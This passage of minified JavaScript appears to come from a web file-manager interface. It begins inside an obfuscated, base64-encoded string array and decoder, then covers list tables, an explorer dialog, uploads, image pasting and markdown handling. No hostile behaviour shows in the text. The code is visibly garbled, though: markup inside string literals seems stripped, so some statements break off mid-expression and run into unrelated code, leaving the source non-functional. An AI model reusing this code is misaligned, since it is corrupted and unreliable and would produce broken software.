RIJcO8Vw==","wrJSJMKAIMKy","VSzCiHPCqA==","MHgaYFM=","JcKgwoYQw4lmQAVQ","bMOhVD3CiQ==","FMKzWMO1","woIxwolfdw==","b33DmQdN","w4XCgsKdcMKe","LsOXw7MsUA==","DHPDsFfCu8KLwotsQcOVwqN9ew==","w7XCnsKaYMKh","w4nCmsKYa8KswrYSBnxzwobDuX8=","wqHDssKwPcKn","SMOaSMKhPQ==","w5bDpsOIw7BP","NMORwq46dA==","w63ClcO5HQ4=","ZVQoNh4=","QW/DmsO1Hg==","wp/Ctl/DgWg=","N8K7wqIbw6c=","Kjk4wrtx","w4BCIVjCog==","BcO0w7sUQw==","Hy4GCBc=","wr9nXcKLw4c=","KMKDNMOX","aXrDlxtM","w5XCtsKEUFM=","VUgAHTE=","wqTDncK1w4LCrw==","UXTCkx5K","RMOyRBpQ","w5UBw4c9Yg==","C3PDiy7CmQ==","ZMOxVxFm","wo1eLMK4Fw==","ehDCuW3Chw==","wqjDtcKqw6DCjg==","LFTDpjDCrw==","J2shTUM=","GcOTw5shUQ==","Rk4tD1I=","w7goXAwy","wr5BFMKjAA==","wrxFG8Ogdw==","UcKMZcOYAA==","DMOXw6oDRQ==","VsK0X8OrLg==","esO6TcKDBg==","w7zCmcKAfHk=","G8KMNMKUw5s=","wrvDs8KULsKG","JcOuwrgyRg==","w6JvR8O/bQ==","w4wtJH4+w5zClQ==","RsOBVsKpGTPDgw==","CV8VZH8=","wp7Dh1/DmB4=","MsK9woBmwrQ=","w4rChcOGLhs=","BcKywrFIwrg=","w5AtPH4l","w4oQVw==","Q8KOeMOWIsKjw7A=","QsKme8O1Lw==","wrhcJcK3DMKRGDBxF8K1w5BX","w4TCksKub0w=","BsKfwqQ=","wpPDlFXDhQM=","a8Kuw6PDqMOF","wpQ7wotJYw==","M1QXaHPCiw==","wpvCu8Ob","wpkRwrZKag==","wrVdKsOXVA==","w5fCpcOhOCY=","w48Ww47CvA==","G8KAwr1qwrI=","wrxLNMKTFMKRMDl6DsKjw7xaw5rDvcOvw6fDlTfDuQ==","LcKuwpQbw4o=","bMO6w5Uawp87NEsawpsm","PcKPwpobw6Q=","GcOcw6wJfw==","dcKqdMOVFA==","acOvw4YQwpU6","EMKrwoV2wqU=","L3EXRk4=","w44Gw7/Cn8Kl","EcKqwpZpw7c=","AMOEwr/Cinc=","MV8A","cDvCukDCmQ==","wq7CkFbDjE0=","D8KLK8KIw4U=","w4zCi8KPasKM","wqZNDsOYVg==","OnUmZFo=","w4VMKFbCjcKC","F8KbwrxJwpQ=","W2/Cq2LDtQ==","w7AWP1Qh","KcKkwqpBw5k=","LcO/w504aw==","KcKLOcObBTDDlj0Lw5XDp8ORS8KUwrpsw7I=","AcO8w5UJZlBew63Ct8Kj","ccKaw6rDiQ==","YWrCmyZx","wqDCqVDDiXB0U3MI","Z8OJSxnCsw==","bEsFOlXCqMOBLHnCo8Owwqs=","JDfClE3Cvw==","wprCrMOewqgl","BCsUAQg=","DMKTPMKNw7A=","wpwKwrp7dw==","w6FQU8KdT24ywpoXETkBDsOXLMKCw6clwpvCh8KjwpzDv8KTTQ==","wrUowp1iWg==","ERQBdHLCnMOSw6gXwrk6wpIp","wr9qNsKcCg==","FcKgwr8Kw4k=","w48Cw5IbQQ==","W1LCkVDDncKYw4TChsO4","XcKGYsOYMg==","TMO2R3zDqQ==","a1PCs1XDhA==","w4zDjcOs","w48Ydyco","w6QEw4rCsMK7Ig==","w5wgw5PCj8K9","W8OeV8K0Ey/CnsKPwrVjw5BVw4c=","w4LDn8Oxw41o","cnrDr8OcNA==","JMOMOcKqw6VOb8OkDHvClQ==","LwgQOAo=","C3/Cvy4tBWjDpcKw","cMKFw4HDicOc","DMOywq7CqEI=","wrNPM8K+PcKaPjNwHw==","wrLDl8K3LcKd","K3TDpjrCikE=","e0DCo0zDhg==","w48Kw4bCrcO5LcKGwq49V3nCucK+w6cq","DMODwpjDqig=","InA4YU0=","Gw1PJhnDlcKXfjs=","R8KmZcO2Mw==","NcKxwohnw7k=","w4Ymw7w1Zg==","GWjCrHw=","fhzDtsKPEg==","SUTCl1HDrsKe","wphdKMKjGg==","woPCncOXEU4UVMKiwooSwojDkMKkw5Yhwq8lX8KRKzzDl2LDoMKwe8OZYsKnJMO3WU0wdCpZwpMqw4fCoHHDuD1lwqrCnWXCmcOhGcONw7LDqwNmwpAow4PCpMKLHElHdcKeEE04wpRXw4MIw73CosKtwrvCvUPDkcO2w4Jmw5Z3w7EBYsKZS8OUwonCl04kQ8OQMRA=","w5N8Bl3CkQ==","w7TCpsKj","w6Y8PnM8","wo/Cu8Obwq0dw6LCqMKPXsKU","wp4QwrVFRg==","cRzDicKoLg==","w6fCmsKPaw==","w7bDq8Olw6Bp","wpjCmsOcwp0Z","PsOpwqsLTA==","wpLCr8OAwq8R","IsK5wr8jw4I=","wpJeI8O8Rw==","w6jCicK6UsK9","wr17FcKjIg==","d1nDtMOzLw==","w5JbKA==","OXPDtQ==","L8Ovw4oMfw==","w5XCusKTbmg=","OhbChFDCpg==","HMOmwqfCnWs=","wpfDnsKyEcK7wqM=","XhXDtMKQEA==","eMOFdMKtLA==","G8Ocwr4IXA==","wp7DolnDlinDnV0=","dDrCjlLCtQ==","RTrDvcKwCw==","TV7ClQVjSg==","CWfDtw==","w4Acw6k/Sg==","w6JUX8O1eQ==","SUMvMS0=","UMKZZcO0KcKjw68TwrrChMKfwrV3HRDDh8OxKHbDkQ==","MGfDiUfCrQ==","w4ItIHI/w5bCpUrCpTA5","F0/DjzbCmg==","B8O0wqTDrSg=","wqvDvFbDogw=","R14cLA==","ZlLDmiNM","XlHCmh9i","PHjDuHLCkw==","wpjCu8OMwpYQw6o=","MDg5JRk=","HysjwpJo","wqhZwo4qQQ==","w4YMJlgG"];a=o,function(e){for(;--e;)a["push"](a["shift"]())}(209);var f,i={},i=(i[(f=function f(e,t){var i=o[e=+e];if(f["sySFTW"]===undefined){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(a){n=window}n["atob"]||(n["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,o=0,s="";i=n["charAt"](o++);~i&&(t=a%4?64*t+i:i,a++%4)&&(s+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return s});var h=function h(e,t){for(var i,n=[],a=0,o="",s="",r=0,l=(e=atob(e))["length"];r',r+=''),t+='
'+n.title+r+"
",i[n.field+"_@_"+e]=n}var l='
'+t+"
";this.columns=i,this.target.find(".content .list-table").html(l)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),a=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+='
'+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,a={},o=(_.get(e,"attr.formatter")&&(a=e.attr.formatter(i)),$.objClone(e)),s=(o.attr=o.attr||{},o.attr=$.extend({},o.attr,a),_.unset(o.attr,"formatter"),[]);for(n in o.attr["class"]="list-"+t+(o.attr["class"]?" "+o.attr["class"]:""),o.attr)s.push(n+'="'+o.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var a,o="",s=t[e];for(a in n){var l=a.split("_@_")[0],c=s[l],d=n[a];_.isFunction(n[a].formatter)&&(c=n[a].formatter(c,e,t)),o+="
'+c+"
"}i+="
"+o+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=o(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),a=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=a+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+a+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var e=this.dialog.$main,t=function t(){e.width()<600?e.addClass("app-wap-small"):e.removeClass("app-wap-small")};t=_.debounce(_.bind(t,this),50),this.bind("viewResize",t),t()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),o=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var a={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=($.extend(!0,a,n||{}),new o["default"]({"parent":this,"paramData":a}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=($.extend(!0,n,t||{}),new o["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadViewEvent":function(l,t){var e=this,i=[],n=!1,c=l.paramData.tipsLoading||LNG["explorer.uploading"],a=l.paramData.tipsError||LNG["explorer.upload.error"],o=l.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=l).paramData.single,h=Tips.notify({"id":l.paramData.tipsID||"","title":c,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){l.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=l.uploader.getStatus(),e=o+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(l,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=l.uploader.transfer||{},a=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",a=n.speed+a,o=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=l.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),a=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(a=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+a+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(c+o).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":a,"icon":"error","delay":2e3}):h.title(a).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(o).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=a+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!l.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,l){var i,c=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((l=l||{}).postParam=l.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",l.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},o=function o(t,i){var n=i;try{n=t.render(i||""),_.each(s,function(e){n=e(n)})}catch(e){}return n},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),o=0;o